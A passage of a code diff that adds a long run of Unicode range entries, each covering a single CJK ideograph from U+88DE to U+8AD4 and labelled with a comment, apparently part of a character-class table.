+ ["\u88DE", "\u88DE"], /* CJK Ideograph */
+ ["\u88DF", "\u88DF"], /* CJK Ideograph */
+ ["\u88E0", "\u88E0"], /* CJK Ideograph */
+ ["\u88E1", "\u88E1"], /* CJK Ideograph */
+ ["\u88E2", "\u88E2"], /* CJK Ideograph */
+ ["\u88E3", "\u88E3"], /* CJK Ideograph */
+ ["\u88E4", "\u88E4"], /* CJK Ideograph */
+ ["\u88E5", "\u88E5"], /* CJK Ideograph */
+ ["\u88E6", "\u88E6"], /* CJK Ideograph */
+ ["\u88E7", "\u88E7"], /* CJK Ideograph */
+ ["\u88E8", "\u88E8"], /* CJK Ideograph */
+ ["\u88E9", "\u88E9"], /* CJK Ideograph */
+ ["\u88EA", "\u88EA"], /* CJK Ideograph */
+ ["\u88EB", "\u88EB"], /* CJK Ideograph */
+ ["\u88EC", "\u88EC"], /* CJK Ideograph */
+ ["\u88ED", "\u88ED"], /* CJK Ideograph */
+ ["\u88EE", "\u88EE"], /* CJK Ideograph */
+ ["\u88EF", "\u88EF"], /* CJK Ideograph */
+ ["\u88F0", "\u88F0"], /* CJK Ideograph */
+ ["\u88F1", "\u88F1"], /* CJK Ideograph */
+ ["\u88F2", "\u88F2"], /* CJK Ideograph */
+ ["\u88F3", "\u88F3"], /* CJK Ideograph */
+ ["\u88F4", "\u88F4"], /* CJK Ideograph */
+ ["\u88F5", "\u88F5"], /* CJK Ideograph */
+ ["\u88F6", "\u88F6"], /* CJK Ideograph */
+ ["\u88F7", "\u88F7"], /* CJK Ideograph */
+ ["\u88F8", "\u88F8"], /* CJK Ideograph */
+ ["\u88F9", "\u88F9"], /* CJK Ideograph */
+ ["\u88FA", "\u88FA"], /* CJK Ideograph */
+ ["\u88FB", "\u88FB"], /* CJK Ideograph */
+ ["\u88FC", "\u88FC"], /* CJK Ideograph */
+ ["\u88FD", "\u88FD"], /* CJK Ideograph */
+ ["\u88FE", "\u88FE"], /* CJK Ideograph */
+ ["\u88FF", "\u88FF"], /* CJK Ideograph */
+ ["\u8900", "\u8900"], /* CJK Ideograph */
+ ["\u8901", "\u8901"], /* CJK Ideograph */
+ ["\u8902", "\u8902"], /* CJK Ideograph */
+ ["\u8903", "\u8903"], /* CJK Ideograph */
+ ["\u8904", "\u8904"], /* CJK Ideograph */
+ ["\u8905", "\u8905"], /* CJK Ideograph */
+ ["\u8906", "\u8906"], /* CJK Ideograph */
+ ["\u8907", "\u8907"], /* CJK Ideograph */
+ ["\u8908", "\u8908"], /* CJK Ideograph */
+ ["\u8909", "\u8909"], /* CJK Ideograph */
+ ["\u890A", "\u890A"], /* CJK Ideograph */
+ ["\u890B", "\u890B"], /* CJK Ideograph */
+ ["\u890C", "\u890C"], /* CJK Ideograph */
+ ["\u890D", "\u890D"], /* CJK Ideograph */
+ ["\u890E", "\u890E"], /* CJK Ideograph */
+ ["\u890F", "\u890F"], /* CJK Ideograph */
+ ["\u8910", "\u8910"], /* CJK Ideograph */
+ ["\u8911", "\u8911"], /* CJK Ideograph */
+ ["\u8912", "\u8912"], /* CJK Ideograph */
+ ["\u8913", "\u8913"], /* CJK Ideograph */
+ ["\u8914", "\u8914"], /* CJK Ideograph */
+ ["\u8915", "\u8915"], /* CJK Ideograph */
+ ["\u8916", "\u8916"], /* CJK Ideograph */
+ ["\u8917", "\u8917"], /* CJK Ideograph */
+ ["\u8918", "\u8918"], /* CJK Ideograph */
+ ["\u8919", "\u8919"], /* CJK Ideograph */
+ ["\u891A", "\u891A"], /* CJK Ideograph */
+ ["\u891B", "\u891B"], /* CJK Ideograph */
+ ["\u891C", "\u891C"], /* CJK Ideograph */
+ ["\u891D", "\u891D"], /* CJK Ideograph */
+ ["\u891E", "\u891E"], /* CJK Ideograph */
+ ["\u891F", "\u891F"], /* CJK Ideograph */
+ ["\u8920", "\u8920"], /* CJK Ideograph */
+ ["\u8921", "\u8921"], /* CJK Ideograph */
+ ["\u8922", "\u8922"], /* CJK Ideograph */
+ ["\u8923", "\u8923"], /* CJK Ideograph */
+ ["\u8924", "\u8924"], /* CJK Ideograph */
+ ["\u8925", "\u8925"], /* CJK Ideograph */
+ ["\u8926", "\u8926"], /* CJK Ideograph */
+ ["\u8927", "\u8927"], /* CJK Ideograph */
+ ["\u8928", "\u8928"], /* CJK Ideograph */
+ ["\u8929", "\u8929"], /* CJK Ideograph */
+ ["\u892A", "\u892A"], /* CJK Ideograph */
+ ["\u892B", "\u892B"], /* CJK Ideograph */
+ ["\u892C", "\u892C"], /* CJK Ideograph */
+ ["\u892D", "\u892D"], /* CJK Ideograph */
+ ["\u892E", "\u892E"], /* CJK Ideograph */
+ ["\u892F", "\u892F"], /* CJK Ideograph */
+ ["\u8930", "\u8930"], /* CJK Ideograph */
+ ["\u8931", "\u8931"], /* CJK Ideograph */
+ ["\u8932", "\u8932"], /* CJK Ideograph */
+ ["\u8933", "\u8933"], /* CJK Ideograph */
+ ["\u8934", "\u8934"], /* CJK Ideograph */
+ ["\u8935", "\u8935"], /* CJK Ideograph */
+ ["\u8936", "\u8936"], /* CJK Ideograph */
+ ["\u8937", "\u8937"], /* CJK Ideograph */
+ ["\u8938", "\u8938"], /* CJK Ideograph */
+ ["\u8939", "\u8939"], /* CJK Ideograph */
+ ["\u893A", "\u893A"], /* CJK Ideograph */
+ ["\u893B", "\u893B"], /* CJK Ideograph */
+ ["\u893C", "\u893C"], /* CJK Ideograph */
+ ["\u893D", "\u893D"], /* CJK Ideograph */
+ ["\u893E", "\u893E"], /* CJK Ideograph */
+ ["\u893F", "\u893F"], /* CJK Ideograph */
+ ["\u8940", "\u8940"], /* CJK Ideograph */
+ ["\u8941", "\u8941"], /* CJK Ideograph */
+ ["\u8942", "\u8942"], /* CJK Ideograph */
+ ["\u8943", "\u8943"], /* CJK Ideograph */
+ ["\u8944", "\u8944"], /* CJK Ideograph */
+ ["\u8945", "\u8945"], /* CJK Ideograph */
+ ["\u8946", "\u8946"], /* CJK Ideograph */
+ ["\u8947", "\u8947"], /* CJK Ideograph */
+ ["\u8948", "\u8948"], /* CJK Ideograph */
+ ["\u8949", "\u8949"], /* CJK Ideograph */
+ ["\u894A", "\u894A"], /* CJK Ideograph */
+ ["\u894B", "\u894B"], /* CJK Ideograph */
+ ["\u894C", "\u894C"], /* CJK Ideograph */
+ ["\u894D", "\u894D"], /* CJK Ideograph */
+ ["\u894E", "\u894E"], /* CJK Ideograph */
+ ["\u894F", "\u894F"], /* CJK Ideograph */
+ ["\u8950", "\u8950"], /* CJK Ideograph */
+ ["\u8951", "\u8951"], /* CJK Ideograph */
+ ["\u8952", "\u8952"], /* CJK Ideograph */
+ ["\u8953", "\u8953"], /* CJK Ideograph */
+ ["\u8954", "\u8954"], /* CJK Ideograph */
+ ["\u8955", "\u8955"], /* CJK Ideograph */
+ ["\u8956", "\u8956"], /* CJK Ideograph */
+ ["\u8957", "\u8957"], /* CJK Ideograph */
+ ["\u8958", "\u8958"], /* CJK Ideograph */
+ ["\u8959", "\u8959"], /* CJK Ideograph */
+ ["\u895A", "\u895A"], /* CJK Ideograph */
+ ["\u895B", "\u895B"], /* CJK Ideograph */
+ ["\u895C", "\u895C"], /* CJK Ideograph */
+ ["\u895D", "\u895D"], /* CJK Ideograph */
+ ["\u895E", "\u895E"], /* CJK Ideograph */
+ ["\u895F", "\u895F"], /* CJK Ideograph */
+ ["\u8960", "\u8960"], /* CJK Ideograph */
+ ["\u8961", "\u8961"], /* CJK Ideograph */
+ ["\u8962", "\u8962"], /* CJK Ideograph */
+ ["\u8963", "\u8963"], /* CJK Ideograph */
+ ["\u8964", "\u8964"], /* CJK Ideograph */
+ ["\u8965", "\u8965"], /* CJK Ideograph */
+ ["\u8966", "\u8966"], /* CJK Ideograph */
+ ["\u8967", "\u8967"], /* CJK Ideograph */
+ ["\u8968", "\u8968"], /* CJK Ideograph */
+ ["\u8969", "\u8969"], /* CJK Ideograph */
+ ["\u896A", "\u896A"], /* CJK Ideograph */
+ ["\u896B", "\u896B"], /* CJK Ideograph */
+ ["\u896C", "\u896C"], /* CJK Ideograph */
+ ["\u896D", "\u896D"], /* CJK Ideograph */
+ ["\u896E", "\u896E"], /* CJK Ideograph */
+ ["\u896F", "\u896F"], /* CJK Ideograph */
+ ["\u8970", "\u8970"], /* CJK Ideograph */
+ ["\u8971", "\u8971"], /* CJK Ideograph */
+ ["\u8972", "\u8972"], /* CJK Ideograph */
+ ["\u8973", "\u8973"], /* CJK Ideograph */
+ ["\u8974", "\u8974"], /* CJK Ideograph */
+ ["\u8975", "\u8975"], /* CJK Ideograph */
+ ["\u8976", "\u8976"], /* CJK Ideograph */
+ ["\u8977", "\u8977"], /* CJK Ideograph */
+ ["\u8978", "\u8978"], /* CJK Ideograph */
+ ["\u8979", "\u8979"], /* CJK Ideograph */
+ ["\u897A", "\u897A"], /* CJK Ideograph */
+ ["\u897B", "\u897B"], /* CJK Ideograph */
+ ["\u897C", "\u897C"], /* CJK Ideograph */
+ ["\u897D", "\u897D"], /* CJK Ideograph */
+ ["\u897E", "\u897E"], /* CJK Ideograph */
+ ["\u897F", "\u897F"], /* CJK Ideograph */
+ ["\u8980", "\u8980"], /* CJK Ideograph */
+ ["\u8981", "\u8981"], /* CJK Ideograph */
+ ["\u8982", "\u8982"], /* CJK Ideograph */
+ ["\u8983", "\u8983"], /* CJK Ideograph */
+ ["\u8984", "\u8984"], /* CJK Ideograph */
+ ["\u8985", "\u8985"], /* CJK Ideograph */
+ ["\u8986", "\u8986"], /* CJK Ideograph */
+ ["\u8987", "\u8987"], /* CJK Ideograph */
+ ["\u8988", "\u8988"], /* CJK Ideograph */
+ ["\u8989", "\u8989"], /* CJK Ideograph */
+ ["\u898A", "\u898A"], /* CJK Ideograph */
+ ["\u898B", "\u898B"], /* CJK Ideograph */
+ ["\u898C", "\u898C"], /* CJK Ideograph */
+ ["\u898D", "\u898D"], /* CJK Ideograph */
+ ["\u898E", "\u898E"], /* CJK Ideograph */
+ ["\u898F", "\u898F"], /* CJK Ideograph */
+ ["\u8990", "\u8990"], /* CJK Ideograph */
+ ["\u8991", "\u8991"], /* CJK Ideograph */
+ ["\u8992", "\u8992"], /* CJK Ideograph */
+ ["\u8993", "\u8993"], /* CJK Ideograph */
+ ["\u8994", "\u8994"], /* CJK Ideograph */
+ ["\u8995", "\u8995"], /* CJK Ideograph */
+ ["\u8996", "\u8996"], /* CJK Ideograph */
+ ["\u8997", "\u8997"], /* CJK Ideograph */
+ ["\u8998", "\u8998"], /* CJK Ideograph */
+ ["\u8999", "\u8999"], /* CJK Ideograph */
+ ["\u899A", "\u899A"], /* CJK Ideograph */
+ ["\u899B", "\u899B"], /* CJK Ideograph */
+ ["\u899C", "\u899C"], /* CJK Ideograph */
+ ["\u899D", "\u899D"], /* CJK Ideograph */
+ ["\u899E", "\u899E"], /* CJK Ideograph */
+ ["\u899F", "\u899F"], /* CJK Ideograph */
+ ["\u89A0", "\u89A0"], /* CJK Ideograph */
+ ["\u89A1", "\u89A1"], /* CJK Ideograph */
+ ["\u89A2", "\u89A2"], /* CJK Ideograph */
+ ["\u89A3", "\u89A3"], /* CJK Ideograph */
+ ["\u89A4", "\u89A4"], /* CJK Ideograph */
+ ["\u89A5", "\u89A5"], /* CJK Ideograph */
+ ["\u89A6", "\u89A6"], /* CJK Ideograph */
+ ["\u89A7", "\u89A7"], /* CJK Ideograph */
+ ["\u89A8", "\u89A8"], /* CJK Ideograph */
+ ["\u89A9", "\u89A9"], /* CJK Ideograph */
+ ["\u89AA", "\u89AA"], /* CJK Ideograph */
+ ["\u89AB", "\u89AB"], /* CJK Ideograph */
+ ["\u89AC", "\u89AC"], /* CJK Ideograph */
+ ["\u89AD", "\u89AD"], /* CJK Ideograph */
+ ["\u89AE", "\u89AE"], /* CJK Ideograph */
+ ["\u89AF", "\u89AF"], /* CJK Ideograph */
+ ["\u89B0", "\u89B0"], /* CJK Ideograph */
+ ["\u89B1", "\u89B1"], /* CJK Ideograph */
+ ["\u89B2", "\u89B2"], /* CJK Ideograph */
+ ["\u89B3", "\u89B3"], /* CJK Ideograph */
+ ["\u89B4", "\u89B4"], /* CJK Ideograph */
+ ["\u89B5", "\u89B5"], /* CJK Ideograph */
+ ["\u89B6", "\u89B6"], /* CJK Ideograph */
+ ["\u89B7", "\u89B7"], /* CJK Ideograph */
+ ["\u89B8", "\u89B8"], /* CJK Ideograph */
+ ["\u89B9", "\u89B9"], /* CJK Ideograph */
+ ["\u89BA", "\u89BA"], /* CJK Ideograph */
+ ["\u89BB", "\u89BB"], /* CJK Ideograph */
+ ["\u89BC", "\u89BC"], /* CJK Ideograph */
+ ["\u89BD", "\u89BD"], /* CJK Ideograph */
+ ["\u89BE", "\u89BE"], /* CJK Ideograph */
+ ["\u89BF", "\u89BF"], /* CJK Ideograph */
+ ["\u89C0", "\u89C0"], /* CJK Ideograph */
+ ["\u89C1", "\u89C1"], /* CJK Ideograph */
+ ["\u89C2", "\u89C2"], /* CJK Ideograph */
+ ["\u89C3", "\u89C3"], /* CJK Ideograph */
+ ["\u89C4", "\u89C4"], /* CJK Ideograph */
+ ["\u89C5", "\u89C5"], /* CJK Ideograph */
+ ["\u89C6", "\u89C6"], /* CJK Ideograph */
+ ["\u89C7", "\u89C7"], /* CJK Ideograph */
+ ["\u89C8", "\u89C8"], /* CJK Ideograph */
+ ["\u89C9", "\u89C9"], /* CJK Ideograph */
+ ["\u89CA", "\u89CA"], /* CJK Ideograph */
+ ["\u89CB", "\u89CB"], /* CJK Ideograph */
+ ["\u89CC", "\u89CC"], /* CJK Ideograph */
+ ["\u89CD", "\u89CD"], /* CJK Ideograph */
+ ["\u89CE", "\u89CE"], /* CJK Ideograph */
+ ["\u89CF", "\u89CF"], /* CJK Ideograph */
+ ["\u89D0", "\u89D0"], /* CJK Ideograph */
+ ["\u89D1", "\u89D1"], /* CJK Ideograph */
+ ["\u89D2", "\u89D2"], /* CJK Ideograph */
+ ["\u89D3", "\u89D3"], /* CJK Ideograph */
+ ["\u89D4", "\u89D4"], /* CJK Ideograph */
+ ["\u89D5", "\u89D5"], /* CJK Ideograph */
+ ["\u89D6", "\u89D6"], /* CJK Ideograph */
+ ["\u89D7", "\u89D7"], /* CJK Ideograph */
+ ["\u89D8", "\u89D8"], /* CJK Ideograph */
+ ["\u89D9", "\u89D9"], /* CJK Ideograph */
+ ["\u89DA", "\u89DA"], /* CJK Ideograph */
+ ["\u89DB", "\u89DB"], /* CJK Ideograph */
+ ["\u89DC", "\u89DC"], /* CJK Ideograph */
+ ["\u89DD", "\u89DD"], /* CJK Ideograph */
+ ["\u89DE", "\u89DE"], /* CJK Ideograph */
+ ["\u89DF", "\u89DF"], /* CJK Ideograph */
+ ["\u89E0", "\u89E0"], /* CJK Ideograph */
+ ["\u89E1", "\u89E1"], /* CJK Ideograph */
+ ["\u89E2", "\u89E2"], /* CJK Ideograph */
+ ["\u89E3", "\u89E3"], /* CJK Ideograph */
+ ["\u89E4", "\u89E4"], /* CJK Ideograph */
+ ["\u89E5", "\u89E5"], /* CJK Ideograph */
+ ["\u89E6", "\u89E6"], /* CJK Ideograph */
+ ["\u89E7", "\u89E7"], /* CJK Ideograph */
+ ["\u89E8", "\u89E8"], /* CJK Ideograph */
+ ["\u89E9", "\u89E9"], /* CJK Ideograph */
+ ["\u89EA", "\u89EA"], /* CJK Ideograph */
+ ["\u89EB", "\u89EB"], /* CJK Ideograph */
+ ["\u89EC", "\u89EC"], /* CJK Ideograph */
+ ["\u89ED", "\u89ED"], /* CJK Ideograph */
+ ["\u89EE", "\u89EE"], /* CJK Ideograph */
+ ["\u89EF", "\u89EF"], /* CJK Ideograph */
+ ["\u89F0", "\u89F0"], /* CJK Ideograph */
+ ["\u89F1", "\u89F1"], /* CJK Ideograph */
+ ["\u89F2", "\u89F2"], /* CJK Ideograph */
+ ["\u89F3", "\u89F3"], /* CJK Ideograph */
+ ["\u89F4", "\u89F4"], /* CJK Ideograph */
+ ["\u89F5", "\u89F5"], /* CJK Ideograph */
+ ["\u89F6", "\u89F6"], /* CJK Ideograph */
+ ["\u89F7", "\u89F7"], /* CJK Ideograph */
+ ["\u89F8", "\u89F8"], /* CJK Ideograph */
+ ["\u89F9", "\u89F9"], /* CJK Ideograph */
+ ["\u89FA", "\u89FA"], /* CJK Ideograph */
+ ["\u89FB", "\u89FB"], /* CJK Ideograph */
+ ["\u89FC", "\u89FC"], /* CJK Ideograph */
+ ["\u89FD", "\u89FD"], /* CJK Ideograph */
+ ["\u89FE", "\u89FE"], /* CJK Ideograph */
+ ["\u89FF", "\u89FF"], /* CJK Ideograph */
+ ["\u8A00", "\u8A00"], /* CJK Ideograph */
+ ["\u8A01", "\u8A01"], /* CJK Ideograph */
+ ["\u8A02", "\u8A02"], /* CJK Ideograph */
+ ["\u8A03", "\u8A03"], /* CJK Ideograph */
+ ["\u8A04", "\u8A04"], /* CJK Ideograph */
+ ["\u8A05", "\u8A05"], /* CJK Ideograph */
+ ["\u8A06", "\u8A06"], /* CJK Ideograph */
+ ["\u8A07", "\u8A07"], /* CJK Ideograph */
+ ["\u8A08", "\u8A08"], /* CJK Ideograph */
+ ["\u8A09", "\u8A09"], /* CJK Ideograph */
+ ["\u8A0A", "\u8A0A"], /* CJK Ideograph */
+ ["\u8A0B", "\u8A0B"], /* CJK Ideograph */
+ ["\u8A0C", "\u8A0C"], /* CJK Ideograph */
+ ["\u8A0D", "\u8A0D"], /* CJK Ideograph */
+ ["\u8A0E", "\u8A0E"], /* CJK Ideograph */
+ ["\u8A0F", "\u8A0F"], /* CJK Ideograph */
+ ["\u8A10", "\u8A10"], /* CJK Ideograph */
+ ["\u8A11", "\u8A11"], /* CJK Ideograph */
+ ["\u8A12", "\u8A12"], /* CJK Ideograph */
+ ["\u8A13", "\u8A13"], /* CJK Ideograph */
+ ["\u8A14", "\u8A14"], /* CJK Ideograph */
+ ["\u8A15", "\u8A15"], /* CJK Ideograph */
+ ["\u8A16", "\u8A16"], /* CJK Ideograph */
+ ["\u8A17", "\u8A17"], /* CJK Ideograph */
+ ["\u8A18", "\u8A18"], /* CJK Ideograph */
+ ["\u8A19", "\u8A19"], /* CJK Ideograph */
+ ["\u8A1A", "\u8A1A"], /* CJK Ideograph */
+ ["\u8A1B", "\u8A1B"], /* CJK Ideograph */
+ ["\u8A1C", "\u8A1C"], /* CJK Ideograph */
+ ["\u8A1D", "\u8A1D"], /* CJK Ideograph */
+ ["\u8A1E", "\u8A1E"], /* CJK Ideograph */
+ ["\u8A1F", "\u8A1F"], /* CJK Ideograph */
+ ["\u8A20", "\u8A20"], /* CJK Ideograph */
+ ["\u8A21", "\u8A21"], /* CJK Ideograph */
+ ["\u8A22", "\u8A22"], /* CJK Ideograph */
+ ["\u8A23", "\u8A23"], /* CJK Ideograph */
+ ["\u8A24", "\u8A24"], /* CJK Ideograph */
+ ["\u8A25", "\u8A25"], /* CJK Ideograph */
+ ["\u8A26", "\u8A26"], /* CJK Ideograph */
+ ["\u8A27", "\u8A27"], /* CJK Ideograph */
+ ["\u8A28", "\u8A28"], /* CJK Ideograph */
+ ["\u8A29", "\u8A29"], /* CJK Ideograph */
+ ["\u8A2A", "\u8A2A"], /* CJK Ideograph */
+ ["\u8A2B", "\u8A2B"], /* CJK Ideograph */
+ ["\u8A2C", "\u8A2C"], /* CJK Ideograph */
+ ["\u8A2D", "\u8A2D"], /* CJK Ideograph */
+ ["\u8A2E", "\u8A2E"], /* CJK Ideograph */
+ ["\u8A2F", "\u8A2F"], /* CJK Ideograph */
+ ["\u8A30", "\u8A30"], /* CJK Ideograph */
+ ["\u8A31", "\u8A31"], /* CJK Ideograph */
+ ["\u8A32", "\u8A32"], /* CJK Ideograph */
+ ["\u8A33", "\u8A33"], /* CJK Ideograph */
+ ["\u8A34", "\u8A34"], /* CJK Ideograph */
+ ["\u8A35", "\u8A35"], /* CJK Ideograph */
+ ["\u8A36", "\u8A36"], /* CJK Ideograph */
+ ["\u8A37", "\u8A37"], /* CJK Ideograph */
+ ["\u8A38", "\u8A38"], /* CJK Ideograph */
+ ["\u8A39", "\u8A39"], /* CJK Ideograph */
+ ["\u8A3A", "\u8A3A"], /* CJK Ideograph */
+ ["\u8A3B", "\u8A3B"], /* CJK Ideograph */
+ ["\u8A3C", "\u8A3C"], /* CJK Ideograph */
+ ["\u8A3D", "\u8A3D"], /* CJK Ideograph */
+ ["\u8A3E", "\u8A3E"], /* CJK Ideograph */
+ ["\u8A3F", "\u8A3F"], /* CJK Ideograph */
+ ["\u8A40", "\u8A40"], /* CJK Ideograph */
+ ["\u8A41", "\u8A41"], /* CJK Ideograph */
+ ["\u8A42", "\u8A42"], /* CJK Ideograph */
+ ["\u8A43", "\u8A43"], /* CJK Ideograph */
+ ["\u8A44", "\u8A44"], /* CJK Ideograph */
+ ["\u8A45", "\u8A45"], /* CJK Ideograph */
+ ["\u8A46", "\u8A46"], /* CJK Ideograph */
+ ["\u8A47", "\u8A47"], /* CJK Ideograph */
+ ["\u8A48", "\u8A48"], /* CJK Ideograph */
+ ["\u8A49", "\u8A49"], /* CJK Ideograph */
+ ["\u8A4A", "\u8A4A"], /* CJK Ideograph */
+ ["\u8A4B", "\u8A4B"], /* CJK Ideograph */
+ ["\u8A4C", "\u8A4C"], /* CJK Ideograph */
+ ["\u8A4D", "\u8A4D"], /* CJK Ideograph */
+ ["\u8A4E", "\u8A4E"], /* CJK Ideograph */
+ ["\u8A4F", "\u8A4F"], /* CJK Ideograph */
+ ["\u8A50", "\u8A50"], /* CJK Ideograph */
+ ["\u8A51", "\u8A51"], /* CJK Ideograph */
+ ["\u8A52", "\u8A52"], /* CJK Ideograph */
+ ["\u8A53", "\u8A53"], /* CJK Ideograph */
+ ["\u8A54", "\u8A54"], /* CJK Ideograph */
+ ["\u8A55", "\u8A55"], /* CJK Ideograph */
+ ["\u8A56", "\u8A56"], /* CJK Ideograph */
+ ["\u8A57", "\u8A57"], /* CJK Ideograph */
+ ["\u8A58", "\u8A58"], /* CJK Ideograph */
+ ["\u8A59", "\u8A59"], /* CJK Ideograph */
+ ["\u8A5A", "\u8A5A"], /* CJK Ideograph */
+ ["\u8A5B", "\u8A5B"], /* CJK Ideograph */
+ ["\u8A5C", "\u8A5C"], /* CJK Ideograph */
+ ["\u8A5D", "\u8A5D"], /* CJK Ideograph */
+ ["\u8A5E", "\u8A5E"], /* CJK Ideograph */
+ ["\u8A5F", "\u8A5F"], /* CJK Ideograph */
+ ["\u8A60", "\u8A60"], /* CJK Ideograph */
+ ["\u8A61", "\u8A61"], /* CJK Ideograph */
+ ["\u8A62", "\u8A62"], /* CJK Ideograph */
+ ["\u8A63", "\u8A63"], /* CJK Ideograph */
+ ["\u8A64", "\u8A64"], /* CJK Ideograph */
+ ["\u8A65", "\u8A65"], /* CJK Ideograph */
+ ["\u8A66", "\u8A66"], /* CJK Ideograph */
+ ["\u8A67", "\u8A67"], /* CJK Ideograph */
+ ["\u8A68", "\u8A68"], /* CJK Ideograph */
+ ["\u8A69", "\u8A69"], /* CJK Ideograph */
+ ["\u8A6A", "\u8A6A"], /* CJK Ideograph */
+ ["\u8A6B", "\u8A6B"], /* CJK Ideograph */
+ ["\u8A6C", "\u8A6C"], /* CJK Ideograph */
+ ["\u8A6D", "\u8A6D"], /* CJK Ideograph */
+ ["\u8A6E", "\u8A6E"], /* CJK Ideograph */
+ ["\u8A6F", "\u8A6F"], /* CJK Ideograph */
+ ["\u8A70", "\u8A70"], /* CJK Ideograph */
+ ["\u8A71", "\u8A71"], /* CJK Ideograph */
+ ["\u8A72", "\u8A72"], /* CJK Ideograph */
+ ["\u8A73", "\u8A73"], /* CJK Ideograph */
+ ["\u8A74", "\u8A74"], /* CJK Ideograph */
+ ["\u8A75", "\u8A75"], /* CJK Ideograph */
+ ["\u8A76", "\u8A76"], /* CJK Ideograph */
+ ["\u8A77", "\u8A77"], /* CJK Ideograph */
+ ["\u8A78", "\u8A78"], /* CJK Ideograph */
+ ["\u8A79", "\u8A79"], /* CJK Ideograph */
+ ["\u8A7A", "\u8A7A"], /* CJK Ideograph */
+ ["\u8A7B", "\u8A7B"], /* CJK Ideograph */
+ ["\u8A7C", "\u8A7C"], /* CJK Ideograph */
+ ["\u8A7D", "\u8A7D"], /* CJK Ideograph */
+ ["\u8A7E", "\u8A7E"], /* CJK Ideograph */
+ ["\u8A7F", "\u8A7F"], /* CJK Ideograph */
+ ["\u8A80", "\u8A80"], /* CJK Ideograph */
+ ["\u8A81", "\u8A81"], /* CJK Ideograph */
+ ["\u8A82", "\u8A82"], /* CJK Ideograph */
+ ["\u8A83", "\u8A83"], /* CJK Ideograph */
+ ["\u8A84", "\u8A84"], /* CJK Ideograph */
+ ["\u8A85", "\u8A85"], /* CJK Ideograph */
+ ["\u8A86", "\u8A86"], /* CJK Ideograph */
+ ["\u8A87", "\u8A87"], /* CJK Ideograph */
+ ["\u8A88", "\u8A88"], /* CJK Ideograph */
+ ["\u8A89", "\u8A89"], /* CJK Ideograph */
+ ["\u8A8A", "\u8A8A"], /* CJK Ideograph */
+ ["\u8A8B", "\u8A8B"], /* CJK Ideograph */
+ ["\u8A8C", "\u8A8C"], /* CJK Ideograph */
+ ["\u8A8D", "\u8A8D"], /* CJK Ideograph */
+ ["\u8A8E", "\u8A8E"], /* CJK Ideograph */
+ ["\u8A8F", "\u8A8F"], /* CJK Ideograph */
+ ["\u8A90", "\u8A90"], /* CJK Ideograph */
+ ["\u8A91", "\u8A91"], /* CJK Ideograph */
+ ["\u8A92", "\u8A92"], /* CJK Ideograph */
+ ["\u8A93", "\u8A93"], /* CJK Ideograph */
+ ["\u8A94", "\u8A94"], /* CJK Ideograph */
+ ["\u8A95", "\u8A95"], /* CJK Ideograph */
+ ["\u8A96", "\u8A96"], /* CJK Ideograph */
+ ["\u8A97", "\u8A97"], /* CJK Ideograph */
+ ["\u8A98", "\u8A98"], /* CJK Ideograph */
+ ["\u8A99", "\u8A99"], /* CJK Ideograph */
+ ["\u8A9A", "\u8A9A"], /* CJK Ideograph */
+ ["\u8A9B", "\u8A9B"], /* CJK Ideograph */
+ ["\u8A9C", "\u8A9C"], /* CJK Ideograph */
+ ["\u8A9D", "\u8A9D"], /* CJK Ideograph */
+ ["\u8A9E", "\u8A9E"], /* CJK Ideograph */
+ ["\u8A9F", "\u8A9F"], /* CJK Ideograph */
+ ["\u8AA0", "\u8AA0"], /* CJK Ideograph */
+ ["\u8AA1", "\u8AA1"], /* CJK Ideograph */
+ ["\u8AA2", "\u8AA2"], /* CJK Ideograph */
+ ["\u8AA3", "\u8AA3"], /* CJK Ideograph */
+ ["\u8AA4", "\u8AA4"], /* CJK Ideograph */
+ ["\u8AA5", "\u8AA5"], /* CJK Ideograph */
+ ["\u8AA6", "\u8AA6"], /* CJK Ideograph */
+ ["\u8AA7", "\u8AA7"], /* CJK Ideograph */
+ ["\u8AA8", "\u8AA8"], /* CJK Ideograph */
+ ["\u8AA9", "\u8AA9"], /* CJK Ideograph */
+ ["\u8AAA", "\u8AAA"], /* CJK Ideograph */
+ ["\u8AAB", "\u8AAB"], /* CJK Ideograph */
+ ["\u8AAC", "\u8AAC"], /* CJK Ideograph */
+ ["\u8AAD", "\u8AAD"], /* CJK Ideograph */
+ ["\u8AAE", "\u8AAE"], /* CJK Ideograph */
+ ["\u8AAF", "\u8AAF"], /* CJK Ideograph */
+ ["\u8AB0", "\u8AB0"], /* CJK Ideograph */
+ ["\u8AB1", "\u8AB1"], /* CJK Ideograph */
+ ["\u8AB2", "\u8AB2"], /* CJK Ideograph */
+ ["\u8AB3", "\u8AB3"], /* CJK Ideograph */
+ ["\u8AB4", "\u8AB4"], /* CJK Ideograph */
+ ["\u8AB5", "\u8AB5"], /* CJK Ideograph */
+ ["\u8AB6", "\u8AB6"], /* CJK Ideograph */
+ ["\u8AB7", "\u8AB7"], /* CJK Ideograph */
+ ["\u8AB8", "\u8AB8"], /* CJK Ideograph */
+ ["\u8AB9", "\u8AB9"], /* CJK Ideograph */
+ ["\u8ABA", "\u8ABA"], /* CJK Ideograph */
+ ["\u8ABB", "\u8ABB"], /* CJK Ideograph */
+ ["\u8ABC", "\u8ABC"], /* CJK Ideograph */
+ ["\u8ABD", "\u8ABD"], /* CJK Ideograph */
+ ["\u8ABE", "\u8ABE"], /* CJK Ideograph */
+ ["\u8ABF", "\u8ABF"], /* CJK Ideograph */
+ ["\u8AC0", "\u8AC0"], /* CJK Ideograph */
+ ["\u8AC1", "\u8AC1"], /* CJK Ideograph */
+ ["\u8AC2", "\u8AC2"], /* CJK Ideograph */
+ ["\u8AC3", "\u8AC3"], /* CJK Ideograph */
+ ["\u8AC4", "\u8AC4"], /* CJK Ideograph */
+ ["\u8AC5", "\u8AC5"], /* CJK Ideograph */
+ ["\u8AC6", "\u8AC6"], /* CJK Ideograph */
+ ["\u8AC7", "\u8AC7"], /* CJK Ideograph */
+ ["\u8AC8", "\u8AC8"], /* CJK Ideograph */
+ ["\u8AC9", "\u8AC9"], /* CJK Ideograph */
+ ["\u8ACA", "\u8ACA"], /* CJK Ideograph */
+ ["\u8ACB", "\u8ACB"], /* CJK Ideograph */
+ ["\u8ACC", "\u8ACC"], /* CJK Ideograph */
+ ["\u8ACD", "\u8ACD"], /* CJK Ideograph */
+ ["\u8ACE", "\u8ACE"], /* CJK Ideograph */
+ ["\u8ACF", "\u8ACF"], /* CJK Ideograph */
+ ["\u8AD0", "\u8AD0"], /* CJK Ideograph */
+ ["\u8AD1", "\u8AD1"], /* CJK Ideograph */
+ ["\u8AD2", "\u8AD2"], /* CJK Ideograph */
+ ["\u8AD3", "\u8AD3"], /* CJK Ideograph */
+ ["\u8AD4", "\u8AD4"], /* CJK Ideograph */
